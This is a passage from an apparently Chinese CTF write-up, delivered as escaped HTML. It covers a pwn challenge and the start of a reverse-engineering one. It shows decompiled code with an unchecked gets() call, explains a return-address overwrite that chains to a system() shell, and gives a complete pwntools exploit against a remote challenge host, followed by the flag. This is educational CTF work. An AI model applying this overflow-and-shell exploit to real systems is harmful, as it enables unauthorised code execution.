result;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// 404038: using guessed type char key;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;//----- (00000000004011F2) ----------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;get_shell&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt;(cmd);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;//----- (000000000040120C) ----------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;__int64 &lt;/span&gt;&lt;span&gt;vulnerable&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;_BYTE &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;48&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;span&gt; // [rsp+0h] [rbp-30h] BYREF&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Build your chain:&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gets&lt;/span&gt;&lt;span&gt;(v1);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// 401090: using guessed type __int64 __fastcall gets(_QWORD);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;//----- (000000000040123B) ----------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; __fastcall &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;argc&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt;argv&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt;envp&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;setvbuf&lt;/span&gt;&lt;span&gt;(stdout, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;setvbuf&lt;/span&gt;&lt;span&gt;(stdin, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Welcome. Try to hack me.&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;vulnerable&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;可以看到，程序执行的流程是：main() -&amp;gt; vulnerable()&lt;/p&gt;&lt;blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;__int64 &lt;/span&gt;&lt;span&gt;vulnerable&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;_BYTE &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;48&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;span&gt; // [rsp+0h] [rbp-30h] BYREF&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Build your chain:&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gets&lt;/span&gt;&lt;span&gt;(v1);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;从&lt;code&gt;Build your chain:&lt;/code&gt;可见，这个程序设计的目的就是被攻击。&lt;/p&gt;&lt;p&gt;重点在于&lt;code&gt;gets(v1);&lt;/code&gt;是一个读取输入但毫无防护的函数。通过这个输入，我们可以改变整个程序的走向：&lt;/p&gt;&lt;blockquote&gt;&lt;ol&gt;
&lt;li&gt;在输入的时候使用一个很长的数据突破缓冲区的上限，接下来的输入就会被加载到缓冲区相邻的内存中&lt;/li&gt;
&lt;li&gt;依据输入在栈上的偏移，将我们下一步要执行的函数的地址输入到目标内存&lt;/li&gt;
&lt;li&gt;通过这个方式，跳转到&lt;code&gt;decrypt_cmd()&lt;/code&gt;，对cmd命令解密&lt;/li&gt;
&lt;li&gt;跳转到&lt;code&gt;get_shell()&lt;/code&gt;，当&lt;code&gt;system(cmd);&lt;/code&gt;被执行，我们就拿到了这个程序的终端权限&lt;/li&gt;
&lt;li&gt;在终端使用命令得到flag&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;以下是攻击的完整代码：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; pwn &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try_chain_attack&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;106.52.40.246&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;32633&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p.&lt;/span&gt;&lt;span&gt;recvuntil&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;Build your chain:&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;offset &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;decrypt_cmd_addr &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;401196&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;get_shell_addr &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;4011F2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;A&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; offset &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;p64&lt;/span&gt;&lt;span&gt;(decrypt_cmd_addr) &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;p64&lt;/span&gt;&lt;span&gt;(get_shell_addr)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;尝试链式调用攻击...&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p.&lt;/span&gt;&lt;span&gt;sendline&lt;/span&gt;&lt;span&gt;(payload)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; p&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try_chain_attack&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;p.&lt;/span&gt;&lt;span&gt;interactive&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251125212147497.BMsJF4wH_Z1ykH6h.webp&quot; /&gt;&lt;figcaption&gt;链式攻击的结果&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{d546576e-9edc-41a7-8b78-ef2894bea17f}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Reverse&lt;a href=&quot;#reverse&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] 签到&lt;/strong&gt;&lt;a href=&quot;#easy-签到&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;其实完全不懂Reverse，因为标着签到所以才想要试试。&lt;/p&gt;&lt;p&gt;下载附件之后发现是一个C语言文件：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flag_enc&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;9d&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;d6&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;70&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;07&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;53&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;e6&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;84&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;70&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;83&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;08&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;79&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;ed&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;03&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1b&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;4c&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;9f&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3f&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;91&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;df&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;c9&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;45&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;8d&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;43&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;fb&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;97&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;c2&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;02&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;39&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;da&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;d5&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;66&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;07&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;bd&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;e5&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
